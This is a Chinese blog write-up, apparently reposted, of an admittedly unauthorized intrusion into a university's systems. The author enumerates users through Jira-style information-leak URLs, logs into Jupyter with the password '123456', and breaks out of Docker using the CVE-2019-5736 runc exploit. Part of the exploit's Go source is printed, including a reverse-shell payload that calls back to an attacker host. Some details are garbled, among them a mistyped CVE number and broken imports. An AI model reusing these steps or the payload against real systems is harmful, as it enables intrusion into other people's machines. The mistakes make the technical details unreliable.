微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

偶然的一次渗透从弱口令->docker逃逸

0x01 前言

前两天一直在学习Python造轮子,方便自己前期信息收集,测试脚本进行批量扫描的时候,无意中点开的一个带有edu域名,便有此文。

0x02 前期信息收集

Web整体架构:

操作系统:Ubuntu
Web服务器: Nginx+Java
端口开放信息: 80 443

目录扫描结果

图片

0x03 挨个测试

可以看到,扫描到了一个"jira目录",猜想是Jupyter NoteBook组件.

图片

访问果不其然,Jupyter组建的登陆点

图片

其他3个有效目录都是登陆点

  • gitlab

图片

  • ownclou

图片

 

  • confluence

图片

我晕~要让我爆破吗,先放着.由于Jupyter组件,到网上查阅历史漏洞

我晕~要让我爆破吗,先放着,由于Jupyter组件,到网上查阅历史漏洞

未授权+2个信息泄露

未授权访问漏洞修复了,需要密码

图片

利用信息泄露爆用户

Exp1:

/jira/secure/ViewUserHover.jspa?username=admin

Exp2:

/jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true

图片

存在用户的话是会返回用户信息的,然后爆破~

图片

爆破出一个“Kevin”用户

掏出我珍藏几天的字典爆密码去~

图片

然后啥也没

图片

0x04 突破点

剩下最后一个登陆口了,修复了的未授权访问,怎么不修信息泄露呢?

图片

 

随手一个"123456"

图片

竟然...给我进来了(人要傻了)
那么就好办了,按照历史漏洞

New->Terminal

直接可以执行命令

图片

习惯性的去根目录,看看有啥文件

图片

看到'.dockerenv'文件,不是吧不是吧,在裸奔的我有点慌,难道踩罐了?

图片

查询系统进程的cgroup信息

图片

docker没错了,蜜罐的可能性不大,因为是部署在某知名大学的一个办公系统的.

0x05 docker逃逸

之前从没实战碰到过docker,也没复现过docker逃逸这个洞,这个点就折腾了比较久.

 

参考文章: https://www.freebuf.com/articles/web/258398.html
CVE-2019-5376这个漏洞是需要重新进入docker才能触发.才能弹回来shell的.而我们上面正好是可以直接进入docker终端,于是尝试利用

Poc:
https://github.com/Frichetten/CVE-2019-5736-PoC
修改main.go此处更改为弹shell命令

package main

// Implementation of CVE-2019-5736
// Created with help from @singe, @_cablethief, and @feexd.
// This commit also helped a ton to understand the vuln
// https://github.com/lxc/lcx/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
import (
    "fmt",
    "io/IoUtil"
    "os"
    "strconv"
    "strings"
)

// This is the line of shell commands that will execute on the host
var payload = "#!/bin/bash \n bash -i >& xxxxxxxxxxxxxxxxxxxxxxxxxxx 0>&1"

func main() {
    // First we overwrite /bin/sh with the /proc/self/exe interpreter path
    fd, err := os.Create("/bin/sh")
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Fprintln(fd, "#!/proc/self/exe")
    err = fd.Close()
    if err != nil {
        fmt.Println(err)
        return
    }
    fmt.Println("[+] Overwritten /bin/sh successfully")

    // Loop through all processes to find one whose cmdline includes runcinit
    // This will be the process created by runc
    var found int
    for found == 0 {
    

完了之后发现自己没有go语言环境

图片

听说Mac自带go语言环境,认识个表哥正好用的Mac,于是找他帮忙编译

图片

这就是"尊贵的Mac用户"吗,哈哈哈哈
自己折腾了一套go语言环境也是成功编译了.
到之前弱口令进入的Jupyter组件上传exp到目标Web站点

图片

我们这边VPS监听1314端口

图片

靶机运行我们的Exp

图片

然后我们回到Jupyter那个组件,重新进入终端界面

图片

然后莫名其妙没弹回来shell,乱晃悠发现是我自己VPS端口问题,换个端口,成功弹回来主机shell

图片

结语

貌似部署在阿里云上面的,未授权原因就不再继续深入了,交洞收工!

 

图片

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐